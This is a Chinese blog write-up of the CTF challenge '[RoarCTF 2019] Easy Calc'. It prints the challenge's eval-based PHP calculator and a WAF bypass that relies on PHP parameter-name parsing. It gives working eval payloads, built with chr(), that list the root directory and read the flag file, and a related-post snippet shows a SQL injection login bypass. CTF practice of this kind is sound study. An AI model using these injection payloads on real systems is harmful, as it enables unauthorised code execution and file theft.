当前位置:首页 > CTF > BUU > 正文内容

BUUCTF_web_第13题:[RoarCTF 2019]Easy Calc

七星9个月前 (01-23)BUU401


打开题, 发现是个计算器,传入表达式,计算结果,乍一看没啥问题

然后祖传的f12, 首先看到的就是一个祖传的注释:

<!--I've set up WAF to ensure security.--> 

说是有waf

接着发现了一个js, js里有个calc.php什么什么鬼的文件,打开看看

啊,代码审计审计计....

那就审嘛:

<?php

error_reporting(0);
if(!isset(
$_GET['num'])){
   show_source(__FILE__);
}else{
   $str = $_GET['num'];
   $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
   foreach (
$blacklist as $blackitem) {
      if (
preg_match('/' . $blackitem . '/m', $str)) {
         die(
"what are you want to do?");
      }
   }
   eval(
'echo '.$str.';');
}
?>

原来他的waf是过滤了一些字符, 但是通过之前的尝试发现, num根本不让传入特殊字符及字母.

那么waf就不简单是上面的过滤了, 可能是第三方软件.

越是不让的东西就越该尝试,不让num传入字符字母,那就想办法传.

这里讲一个字符串解析:

在PHP传入参数时会把传入的参数变成数组,比如 /?num=4 会变成 Array([num] => "bar") 

但是但是, 传入的字符串在解析的过程中会将某些字符删除或用下划线代替

例如 /?%20num[id=42 会转换为 Array([num_id] => 42)

如果一个IDS/IPS/WAF中有一条规则是: 当num_id参数的值是一个非数字的值,则拦截

那么我们就可以用以下语句绕过:

/calc.php?%20num[id=阿巴阿巴阿巴;

这样, PHP语句的参数%20news[id的值将直接存储到$_GET[“num_id”]中,即:

Array([num_id] => 阿巴阿巴阿巴), 从而不会通过IDS/IPS/WAF的检测。

所以这个题绕过waf的方法就是,字符串解析漏洞, 在num前面加个空格, url编码就是%20,即:

/calc.php?%20num=

绕过之后, 就是用eval来执行php函数.我们获取当前目录,看看有没有flag文件:

/calc.php?%20num=scandir(/);

但是发现被waf过滤了, 他过滤了/, 所以我们可以用chr(47)来代替"/":

/calc.php?%20num=scandir(chr(47));

返回一个Array, 哦哦没有打印, 那就var_dump()一下:

/calc.php?%20num=var_dump(scandir(chr(47)))

可以看见有f1agg这个文件,直接用var_dump(file_get_contents())读取:

var_dump(file_get_contents("/f1agg"))

过滤了"这, 那就用chr():

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

直接获取flag

七星|qixingbit.com

相关文章

 BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

BUUCTF_web_第三题:[极客大挑战 2019]EasySQL

第三题: [极客大挑战 2019]EasySQL 常规SQL注入, 没啥说的, 好多种解法, 既然是登录, 这里就写一个万能用户: 1' or 1=1# 密码随便填, 就能getflag...

BUUCTF_web_第14题:[极客大挑战 2019]Http

BUUCTF_web_第14题:[极客大挑战 2019]Http

打开是个常规的主页,依旧是祖传的f12,仔细看,有个Secret.php这是仅有的线索, 访问一下喽:提示:It doesn't come from 'https://www.Sycsecret.co...

BUUCTF_web_第11题:[护网杯 2018]easy_tornado

BUUCTF_web_第11题:[护网杯 2018]easy_tornado

开靶场, 有三个文件链接,依次点开, 有个提示:flag in /fllllllllllllag然后观察url发现,访问文件是需要提交一个filehash值的:/file?filename=/flag...

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

BUUCTF_web_第四题:[极客大挑战 2019]Havefun

开局一直猫, flag全靠f12:<!--˂!----˃$cat=$_GET['cat'];echo $cat;if($cat=='dog'){    echo 'Syc{c...

BUUCTF_web_第16题:[极客大挑战 2019]Upload

BUUCTF_web_第16题:[极客大挑战 2019]Upload

上传图片, 很自然想到图片马, 那就传个:然后发现提示:NO! HACKER! your file included '<?'过滤了<?那就是试试php语言的另一种写法:接着提示:Don'...

BUUCTF_web_第八题:[极客大挑战 2019]LoveSQL

BUUCTF_web_第八题:[极客大挑战 2019]LoveSQL

打开之后, 和之前的类似, 万能密码 1' or 1=1#登录成功,给了一个admin和一串md5, md5解密失败.只能常规注入了.给了个灵魂试探:用 sqlmap 是没有灵魂的那就手工注入一下,巩...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。